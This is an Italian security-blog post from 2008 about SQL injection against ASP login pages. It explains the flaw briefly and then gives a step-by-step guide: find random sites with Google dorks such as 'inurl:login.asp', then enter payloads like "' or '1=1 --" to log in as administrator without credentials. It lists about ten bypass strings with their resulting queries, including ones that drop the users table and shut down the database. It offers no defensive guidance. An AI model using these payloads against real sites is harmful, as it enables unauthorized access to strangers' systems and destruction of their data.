SQL: ASP SQL Injection
Oggi, tratterò di un argomento abbastanza diffuso, ovvero l’SQL Injection su siti creati in ASP… spiegherò come avviene.
Innanzitutto, cos’è l’SQL Injection? L’SQL injection è un exploit mirato a colpire le applicazioni web che si appoggiano su un database di tipo SQL. Questo exploit sfrutta l’inefficienza dei controlli sui dati ricevuti in input ed inserisce codice maligno all’interno di una query SQL. Le conseguenze prodotte sono imprevedibili per il programmatore: l’SQL Injection permette al malintenzionato di autenticarsi con ampi privilegi in aree protette del sito (ovviamente, anche senza essere in possesso delle credenziali d’accesso) e di visualizzare e/o alterare dati sensibili. Ecco come avviene, e come i malintenzionati riescono a loggarsi come admin tramite delle query:
1) Andiamo su Google e cerchiamo inurl:login.asp oppure inurl:admin.asp
2) Clicchiamo su un risultato qualsiasi, e dovremmo entrare nel login di un sito web in ASP
3) Possiamo ora inserire la query (username e password), esempio:
Username: admin
Password: ‘or’
4) Se funziona siete entrati con successo come amministratore!
Ecco le altre query (username e password):
Nome: ‘ OR ”=’
Password: ‘ OR ”=’
Query Risultante :
SELECT * FROM Utenti WHERE nome= ‘ ‘ OR ”=’ ‘ AND password=” OR ”=’ ‘
Effetto si viene identificati con il primo record del database
Nome: ‘ OR ‘1A=’1
Password: ‘ OR ‘1A=’1
Query Risultante:
SELECT * FROM Utenti WHERE nome= ” OR ‘1A=’1 ‘ AND password=” OR ‘1A=’1 ‘
Effetto = si viene identificati con il primo record del database
Nome: ‘ or ‘1=1 —
Password: ‘ or ‘1=1 —
Query Risultante:
SELECT * FROM Utenti WHERE nome= ” or ‘1=1 — ‘ AND password=” or ‘1=1 —’
Effetto = si viene identificati con il primo record del database
Nome:’ or Nome like ‘%%
Password: ‘ or Nome like ‘%%
Query Risultante:
SELECT * FROM Utenti WHERE nome= ” or Nome like ‘%% ‘ AND password=” or
Nome like ‘%%’
Effetto = si viene identificati con il primo record del database
Nome: [stringa nulla]
Password: ‘ OR ‘Attacco’ LIKE ‘Att%
Query Risultante:
SELECT * FROM Utenti WHERE nome= ‘ ‘ AND password=” OR ‘Attacco’ LIKE
‘Att%’
Effetto = Autenticazione come utente admin
Nome:[una stringa qualsiasi]
Password: c’ OR ‘ TRUE—
Query Risultante:
SELECT * FROM Utenti WHERE nome= ‘ ‘ AND password=’c’ OR ‘ TRUE—’
Effetto = si viene identificati con il primo record del database
Nome: admin’ –
Password: [stringa nulla]
Query Risultante:
SELECT * FROM Utenti WHERE nome= ‘ admin’ –’ AND password=’ ‘
Effetto = Autenticazione come utente admin
Nome: ‘ OR ‘Attacco’ > ‘A
Password: ‘ OR ‘Attacco’ > ‘A
Query Risultante:
SELECT * FROM Utenti WHERE nome= ‘ ‘ OR ‘Attacco’ > ‘A’ AND password=”OR
‘Attacco’ > ‘A’
Effetto = Autenticazione come utente admin
Nome: ‘ ; drop table utenti–
Password: [stringa nulla]
Query Risultante:
SELECT * FROM Utenti WHERE nome= ‘ ‘ ; drop table utenti–’ AND password=’ ‘
Effetti = Eliminazione della tabella dal database
Nome: aaaaaaaaaaaaaaa’
Password: ‘ ; shutdown –
Query Risultante:
SELECT * FROM Utenti WHERE nome= ‘ aaaaaaaaaaaaaaa” AND password=” ;
shutdown –’
Effetto = Chiusura del database
About this entry
You’re currently reading “SQL: ASP SQL Injection,” an entry on h4ckarchive security blog
- Pubblicato:
- settembre 15, 2008 / 12:16 pm
- Categoria:
- SQL
- Etichette:
Ancora nessun commento
Jump to comment form | comment rss [?] | trackback uri [?]